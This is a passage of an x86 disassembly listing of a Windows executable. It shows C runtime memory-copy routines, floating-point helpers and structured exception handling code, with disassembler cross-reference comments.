sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE10 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: sub_41C164+9p ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE30, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D424, offset sub_4221D5 mov off_43D420, eax mov off_43D428, offset sub_42223B mov off_43D42C, offset sub_42217B mov off_43D430, offset sub_422223 mov off_43D434, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE28 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: sub_4229B1+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 ; RtlUnwind loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: .packed:00426AACj ; .packed:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE70 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p ; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41D568 push [ebp+arg_0] call sub_426356 ; RtlUnwind loc_41D568: ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE2C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE2C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; .packed:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov 